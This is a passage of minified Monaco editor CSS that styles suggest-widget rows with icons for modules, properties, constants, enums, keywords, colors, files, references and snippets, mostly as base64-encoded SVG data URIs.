.icon.module{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTkuMjYgMTEuOTg0bC45NzgtLjAyMWEuOTYyLjk2MiAwIDAgMCAuMDktLjAwNmMuMDExLS4wNjMuMDI2LS4xNzkuMDI2LS4zNjFWOS42ODhjMC0uNjc5LjE4NS0xLjI1Ny41My0xLjcwNy0uMzQ2LS40NTItLjUzLTEuMDMtLjUzLTEuNzA1VjQuMzVjMC0uMTY3LS4wMjEtLjI1OS0uMDM0LS4zMDJMOS4yNiA0LjAyVi45NzNsMS4wMTEuMDExYzIuMTY3LjAyNCAzLjQwOSAxLjE1NiAzLjQwOSAzLjEwNXYxLjk2MmMwIC4zNTEuMDcxLjQ2MS4wNzIuNDYybC45MzYuMDYuMDUzLjkyN3YxLjkzNmwtLjkzNi4wNjFjLS4wNzYuMDE2LS4xMjUuMTQ2LS4xMjUuNDI0djIuMDE3YzAgLjkxNC0uMzMyIDMuMDQzLTMuNDA4IDMuMDc4bC0xLjAxMi4wMTF2LTMuMDQzem0tMy41MjEgMy4wMzJjLTMuMDg5LS4wMzUtMy40MjItMi4xNjQtMy40MjItMy4wNzhWOS45MjFjMC0uMzI3LS4wNjYtLjQzMi0uMDY3LS40MzNsLS45MzctLjA2LS4wNjMtLjkyOVY2LjU2M2wuOTQyLS4wNmMuMDU4IDAgLjEyNS0uMTE0LjEyNS0uNDUyVjQuMDljMC0xLjk0OSAxLjI0OC0zLjA4MSAzLjQyMi0zLjEwNUw2Ljc1Ljk3M1Y0LjAybC0uOTc1LjAyM2EuNTcyLjU3MiAwIDAgMC0uMDkzLjAxYy4wMDYuMDIxLS4wMTkuMTE1LS4wMTkuMjk3djEuOTI4YzAgLjY3NS0uMTg2IDEuMjUzLS41MzQgMS43MDUuMzQ4LjQ1LjUzNCAxLjAyOC41MzQgMS43MDd2MS45MDdjMCAuMTc1LjAxNC4yOTEuMDI3LjM2My4wMjMuMDAyIDEuMDYuMDI1IDEuMDYuMDI1djMuMDQzbC0xLjAxMS0uMDEyeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTUuNzUgMTQuMDE2Yy0xLjYyMy0uMDE5LTIuNDM0LS43MTEtMi40MzQtMi4wNzhWOS45MjFjMC0uOTAyLS4zNTUtMS4zNzYtMS4wNjYtMS40MjJ2LS45OThjLjcxMS0uMDQ1IDEuMDY2LS41MjkgMS4wNjYtMS40NDlWNC4wOWMwLTEuMzg1LjgxMS0yLjA4NyAyLjQzNC0yLjEwNXYxLjA2Yy0uNzI1LjAxNy0xLjA4Ny40NTMtMS4wODcgMS4zMDV2MS45MjhjMCAuOTItLjQ1NCAxLjQ4OC0xLjM2IDEuNzAyVjhjLjkwNy4yMDEgMS4zNi43NjMgMS4zNiAxLjY4OHYxLjkwN2MwIC40ODguMDgxLjgzNS4yNDMgMS4wNDIuMTYyLjIwOC40NDMuMzE2Ljg0NC4zMjV2MS4wNTR6bTcuOTktNS41MTdjLS43MDYuMDQ1LTEuMDYuNTItMS4wNiAxLjQyMnYyLjAxN2MwIDEuMzY3LS44MDcgMi4wNi0yLjQyIDIuMDc4di0xLjA1M2MuMzk2LS4wMDkuNjc4LS4xMTguODQ0LS4zMjguMTY3LS4yMS4yNS0uNTU2LjI1LTEuMDM5VjkuNjg4YzAtLjkyNS40NDktMS40ODggMS4zNDctMS42ODh2LS4wMjFjLS44OTgtLjIxNC0xLjM0Ny0uNzgyLTEuMzQ3LTEuNzAyVjQuMzVjMC0uODUyLS4zNjQtMS4yODgtMS4wOTQtMS4zMDZ2LTEuMDZjMS42MTMuMDE4IDIuNDIuNzIgMi40MiAyLjEwNXYxLjk2MmMwIC45Mi4zNTQgMS40MDQgMS4wNiAxLjQ0OXYuOTk5eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.property{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDUuNWE1LjUgNS41IDAgMCAxLTUuNSA1LjVjLS4yNzUgMC0uNTQzLS4wMjctLjgwNy0uMDY2bC0uMDc5LS4wMTJhNS40MjkgNS40MjkgMCAwIDEtLjgxLS4xOTJsLTQuNTM3IDQuNTM3Yy0uNDcyLjQ3My0xLjEuNzMzLTEuNzY3LjczM3MtMS4yOTUtLjI2LTEuNzY4LS43MzJhMi41MDIgMi41MDIgMCAwIDEgMC0zLjUzNWw0LjUzNy00LjUzN2E1LjQ1MiA1LjQ1MiAwIDAgMS0uMTkxLS44MTJjLS4wMDUtLjAyNS0uMDA4LS4wNTEtLjAxMi0uMDc3QTUuNTAzIDUuNTAzIDAgMCAxIDUgNS41YTUuNSA1LjUgMCAxIDEgMTEgMHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0xNSA1LjVhNC41IDQuNSAwIDAgMS00LjUgNC41Yy0uNjkzIDAtMS4zNDItLjE3LTEuOTI5LS40NWwtNS4wMSA1LjAxYy0uMjkzLjI5NC0uNjc3LjQ0LTEuMDYxLjQ0cy0uNzY4LS4xNDYtMS4wNjEtLjQzOWExLjUgMS41IDAgMCAxIDAtMi4xMjFsNS4wMS01LjAxQTQuNDgzIDQuNDgzIDAgMCAxIDYgNS41IDQuNSA0LjUgMCAwIDEgMTAuNSAxYy42OTMgMCAxLjM0Mi4xNyAxLjkyOS40NUw5LjYzNiA0LjI0M2wyLjEyMSAyLjEyMSAyLjc5My0yLjc5M2MuMjguNTg3LjQ1IDEuMjM2LjQ1IDEuOTI5eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.unit{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiAxMS4wMTNIMVY0aDE1djcuMDEzeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTggOUg3VjZoM3YzSDlWN0g4djJ6TTQgN2gxdjJoMVY2SDN2M2gxVjd6bTggMGgxdjJoMVY2aC0zdjNoMVY3eiIgaWQ9Imljb25GZyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMiA1djVoMTNWNUgyem00IDRINVY3SDR2MkgzVjZoM3Yzem00IDBIOVY3SDh2Mkg3VjZoM3Yzem00IDBoLTFWN2gtMXYyaC0xVjZoM3YzeiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.constant{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiMwMDUzOWN9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMi44NzkgMTRMMSAxMi4xMjFWMy44NzlMMi44NzkgMmgxMC4yNDJMMTUgMy44Nzl2OC4yNDJMMTMuMTIxIDE0SDIuODc5eiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTEyLjI5MyA0SDMuNzA3TDMgNC43MDd2Ni41ODZsLjcwNy43MDdoOC41ODZsLjcwNy0uNzA3VjQuNzA3TDEyLjI5MyA0ek0xMSAxMEg1VjloNnYxem0wLTNINVY2aDZ2MXoiIGlkPSJpY29uRmciLz48ZyBpZD0iaWNvbkJnIj48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTEyLjcwNyAxM0gzLjI5M0wyIDExLjcwN1Y0LjI5M0wzLjI5MyAzaDkuNDE0TDE0IDQuMjkzdjcuNDE0TDEyLjcwNyAxM3ptLTktMWg4LjU4NmwuNzA3LS43MDdWNC43MDdMMTIuMjkzIDRIMy43MDdMMyA0LjcwN3Y2LjU4NmwuNzA3LjcwN3oiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tYmx1ZSIgZD0iTTExIDdINVY2aDZ2MXptMCAySDV2MWg2Vjl6Ii8+PC9nPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.enum,.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.value{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1vcmFuZ2V7ZmlsbDojYzI3ZDFhfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE0LjQxNCAxTDE2IDIuNTg2djUuODI4TDE0LjQxNCAxMEgxMHYzLjQxNkw4LjQxNCAxNUgxLjU4NkwwIDEzLjQxNnYtNS44M0wxLjU4NiA2SDZWMi41ODZMNy41ODYgMWg2LjgyOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0yIDEzaDZWOEgydjV6bTEtNGg0djFIM1Y5em0wIDJoNHYxSDN2LTF6bTExLTVWM0g4djNoLjQxNEw5IDYuNTg2VjZoNHYxSDkuNDE0bC41ODYuNTg2VjhoNFY2em0tMS0xSDlWNGg0djF6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLW9yYW5nZSIgZD0iTTMgMTFoNC4wMDF2MUgzdi0xem0wLTFoNC4wMDFWOUgzdjF6bTYtMnY1bC0xIDFIMmwtMS0xVjhsMS0xaDZsMSAxek04IDhIMnY1aDZWOHptMS0ybDEgMWgzVjZIOXptMC0xaDRWNEg5djF6bTUtM0g4TDcgM3YzaDFWM2g2djVoLTR2MWg0bDEtMVYzbC0xLTF6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.enum-member{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6IzAwNTM5Y308L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0wIDE1VjZoNlYyLjU4Nkw3LjU4NSAxaDYuODI5TDE2IDIuNTg2djUuODI5TDE0LjQxNCAxMEgxMHY1SDB6bTMtNnoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik04IDN2M2g1djFoLTN2MWg0VjNIOHptNSAySDlWNGg0djF6TTIgOHY1aDZWOEgyem01IDNIM3YtMWg0djF6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMCA2aDN2MWgtM1Y2ek05IDR2MWg0VjRIOXptNS0ySDhMNyAzdjNoMVYzaDZ2NWgtNHYxaDRsMS0xVjNsLTEtMXptLTcgOEgzdjFoNHYtMXptMi0zdjdIMVY3aDh6TTggOEgydjVoNlY4eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.keyword{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiA1VjJIOVYxSDB2MTRoMTN2LTNoM1Y5aC0xVjZIOVY1aDd6bS04IDdWOWgxdjNIOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0yIDNoNXYxSDJWM3oiIGlkPSJpY29uRmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTE1IDRoLTVWM2g1djF6bS0xIDNoLTJ2MWgyVjd6bS00IDBIMXYxaDlWN3ptMiA2SDF2MWgxMXYtMXptLTUtM0gxdjFoNnYtMXptOCAwaC01djFoNXYtMXpNOCAydjNIMVYyaDd6TTcgM0gydjFoNVYzeiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.text{background-image:url(contrib/suggest/browser/media/String_16x.svg)}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.color{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLXJlZHtmaWxsOiNlNTE0MDB9Lmljb24tdnMteWVsbG93e2ZpbGw6I2ZmY2MwMH0uaWNvbi12cy1ncmVlbntmaWxsOiMzMzk5MzN9Lmljb24tdnMtYmx1ZXtmaWxsOiMxYmExZTJ9Lmljb24tdnMtYWN0aW9uLXB1cnBsZXtmaWxsOiM2NTJkOTB9Lmljb24td2hpdGV7ZmlsbDojZmZmZmZmfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDhjMCA0LjQxMS0zLjU4OSA4LTggOGEyLjgwMyAyLjgwMyAwIDAgMS0yLjgtMi44YzAtLjgzMy4yNzItMS42MjkuNzY2LTIuMjQxYS41OTYuNTk2IDAgMCAwIC4xMDEtLjM1OS42NjcuNjY3IDAgMCAwLS42NjctLjY2Ni41OC41OCAwIDAgMC0uMzU4LjEwMkEzLjU4NCAzLjU4NCAwIDAgMSAyLjggMTAuOCAyLjgwMyAyLjgwMyAwIDAgMSAwIDhjMC00LjQxMSAzLjU4OS04IDgtOHM4IDMuNTg5IDggOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24td2hpdGUiIGQ9Ik01LjQgNy45MzNhMi42NyAyLjY3IDAgMCAxIDIuNjY3IDIuNjY2YzAgLjYwNi0uMTkzIDEuMTc5LS41NDQgMS42MTRhMS41OTkgMS41OTkgMCAwIDAtLjMyMy45ODcuOC44IDAgMCAwIC44LjhjMy4zMDkgMCA2LTIuNjkxIDYtNnMtMi42OTEtNi02LTYtNiAyLjY5MS02IDZjMCAuNDQxLjM1OS44LjguOC4zNzggMCAuNzI5LS4xMTQuOTg2LS4zMjJBMi41NjggMi41NjggMCAwIDEgNS40IDcuOTMzeiIgaWQ9Imljb25GZyIvPjxnIGlkPSJpY29uQmciPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNOCAxNWMtLjk5MiAwLTEuOC0uODA4LTEuOC0xLjggMC0uNjA2LjE5My0xLjE3OS41NDQtMS42MTMuMjA4LS4yNTkuMzIzLS42MDkuMzIzLS45ODcgMC0uOTE5LS43NDgtMS42NjYtMS42NjctMS42NjYtLjM3NyAwLS43MjguMTE1LS45ODYuMzIzQTIuNTggMi41OCAwIDAgMSAyLjggOS44QzEuODA4IDkuOCAxIDguOTkyIDEgOGMwLTMuODYgMy4xNC03IDctNyAzLjg1OSAwIDcgMy4xNCA3IDcgMCAzLjg1OS0zLjE0MSA3LTcgN3pNNS40IDcuOTMzYTIuNjcgMi42NyAwIDAgMSAyLjY2NyAyLjY2NmMwIC42MDYtLjE5MyAxLjE3OS0uNTQ0IDEuNjE0YTEuNTk5IDEuNTk5IDAgMCAwLS4zMjMuOTg3LjguOCAwIDAgMCAuOC44YzMuMzA5IDAgNi0yLjY5MSA2LTZzLTIuNjkxLTYtNi02LTYgMi42OTEtNiA2YzAgLjQ0MS4zNTkuOC44LjguMzc4IDAgLjcyOS0uMTE0Ljk4Ni0uMzIyQTIuNTY4IDIuNTY4IDAgMCAxIDUuNCA3LjkzM3oiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tcHVycGxlIiBkPSJNNC41IDUuMzc1YS44NzUuODc1IDAgMSAwIDAgMS43NS44NzUuODc1IDAgMCAwIDAtMS43NXoiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1ibHVlIiBkPSJNNy4xMjUgMy42MjVhLjg3NS44NzUgMCAxIDAgMCAxLjc1Ljg3NS44NzUgMCAwIDAgMC0xLjc1eiIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWdyZWVuIiBkPSJNMTAuNjI1IDQuNWEuODc1Ljg3NSAwIDEgMCAwIDEuNzUuODc1Ljg3NSAwIDAgMCAwLTEuNzV6Ii8+PHBhdGggY2xhc3M9Imljb24tdnMteWVsbG93IiBkPSJNMTEuNSA4YS44NzUuODc1IDAgMSAwIDAgMS43NS44NzUuODc1IDAgMCAwIDAtMS43NXoiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1yZWQiIGQ9Ik05Ljc1IDEwLjYyNWEuODc1Ljg3NSAwIDEgMCAwIDEuNzUuODc1Ljg3NSAwIDAgMCAwLTEuNzV6Ii8+PC9nPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.file{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNSAxNkgyVjBoOC42MjFMMTUgNC4zNzlWMTZ6IiBpZD0ib3V0bGluZSIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWZnIiBkPSJNMTMgMTRINFYyaDV2NGg0djh6bS0zLTlWMi4yMDdMMTIuNzkzIDVIMTB6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0zIDF2MTRoMTFWNC43OTNMMTAuMjA3IDFIM3ptMTAgMTNINFYyaDV2NGg0djh6bS0zLTlWMi4yMDdMMTIuNzkzIDVIMTB6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.reference{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiMwMDUzOWN9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTQgNC41NTZWMTNjMCAuOTctLjcwMSAyLTIgMkg0Yy0uOTcgMC0yLS43MDEtMi0yVjYuNjQ5QTMuNDk1IDMuNDk1IDAgMCAxIDAgMy41QzAgMS41NyAxLjU3IDAgMy41IDBINXYxaDUuMDYxTDE0IDQuNTU2eiIgaWQ9Im91dGxpbmUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMTMgNXY4cy0uMDM1IDEtMS4wMzUgMWgtOFMzIDE0IDMgMTNWOWgxdjRoOFY2SDkuMzk3bC41MTctLjUyTDkgNC41NzJWM0g3LjQxOUw2LjQxMyAyaDMuMjI4TDEzIDV6IiBpZD0iaWNvbkJnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik03LjQxOSAzSDl2MS41NzJMNy40MTkgM3ptMS45NzggM0w2LjQxNiA5SDR2NGg4VjZIOS4zOTd6IiBpZD0iaWNvbkZnIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tYmx1ZSIgZD0iTTUuOTg4IDZIMy41YTIuNSAyLjUgMCAxIDEgMC01SDR2MWgtLjVDMi42NzMgMiAyIDIuNjczIDIgMy41UzIuNjczIDUgMy41IDVoMi41MTNMNCAzaDJsMi41IDIuNDg0TDYgOEg0bDEuOTg4LTJ6IiBpZD0iY29sb3JBY3Rpb24iLz48L3N2Zz4=\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.snippet{background-image:url(\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcKICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIgogICB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiCiAgIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgdmVyc2lvbj0iMS4xIgogICBpZD0ic3ZnNDY5NCIKICAgdmlld0JveD0iMCAwIDE2IDE2Ij4KICA8bWV0YWRhdGEKICAgICBpZD0ibWV0YWRhdGE0NzA1Ij4KICAgIDxyZGY6UkRGPgogICAgICA8Y2M6V29yawogICAgICAgICByZGY6YWJvdXQ9IiI+CiAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CiAgICAgICAgPGRjOnR5cGUKICAgICAgICAgICByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIiAvPgogICAgICAgIDxkYzp0aXRsZT48L2RjOnRpdGxlPgogICAgICA8L2NjOldvcms+CiAgICA8L3JkZjpSREY+CiAgPC9tZXRhZGF0YT4KICA8ZGVmcwogICAgIGlkPSJkZWZzNDcwMyIgLz4KICA8c3R5bGUKICAgICBpZD0ic3R5bGU0Njk2Ij4uaWNvbi1jYW52YXMtdHJhbnNwYXJlbnR7b3BhY2l0eTowO2ZpbGw6I2Y2ZjZmNn0uaWNvbi12cy1vdXR7ZmlsbDojZjZmNmY2fS5pY29uLXZzLWFjdGlvbi1vcmFuZ2V7ZmlsbDojYzI3ZDFhfTwvc3R5bGU+CiAgPGcKICAgICBpZD0iZzQ3MDciCiAgICAgdHJhbnNmb3JtPSJtYXRyaXgoMS4zMzMzMzMzLDAsMCwxLjMzMzMzMzMsLTI0NS45OTk5OSwtNS4zMzMzMzMpIj4KICAgIDxwYXRoCiAgICAgICBkPSJtIDE4NSw0IDExLDAgMCwxMiAtMTEsMCB6IgogICAgICAgaWQ9InBhdGg0NTM0IgogICAgICAgc3R5bGU9ImZpbGw6I2Y2ZjZmNiIgLz4KICAgIDxwYXRoCiAgICAgICBkPSJtIDE5NCwxMyAwLC03IC03LDAgMCw3IC0xLDAgMCwtOCA5LDAgMCw4IC0xLDAgeiBtIC03LDIgLTEsMCAwLC0xIDEsMCAwLDEgeiBtIDIsLTEgLTEsMCAwLDEgMSwwIDAsLTEgeiBtIDIsMCAtMSwwIDAsMSAxLDAgMCwtMSB6IG0gMiwxIC0xLDAgMCwtMSAxLDAgMCwxIHogbSAyLC0xIC0xLDAgMCwxIDEsMCAwLC0xIHoiCiAgICAgICBpZD0icGF0aDQ1MzYiCiAgICAgICBzdHlsZT0iZmlsbDojNDI0MjQyIiAvPgogICAgPHBhdGgKICAgICAgIGQ9Im0gMTg3LDEzIDAsLTcgNywwIDAsNyAtNywwIHoiCiAgICAgICBpZD0icGF0aDQ1MzgiCiAgICAgICBzdHlsZT0iZmlsbDojZjBlZmYxIiAvPgogIDwvZz4KICA8cGF0aAogICAgIGlkPSJjYW52YXMiCiAgICAgZD0iTTE2IDE2SDBWMGgxNnYxNnoiCiAgICAgY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiAvPgo8L3N2Zz4K\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.customcolor{background-image:none}.monaco-editor .suggest-widget .monaco-list .monaco-list-row 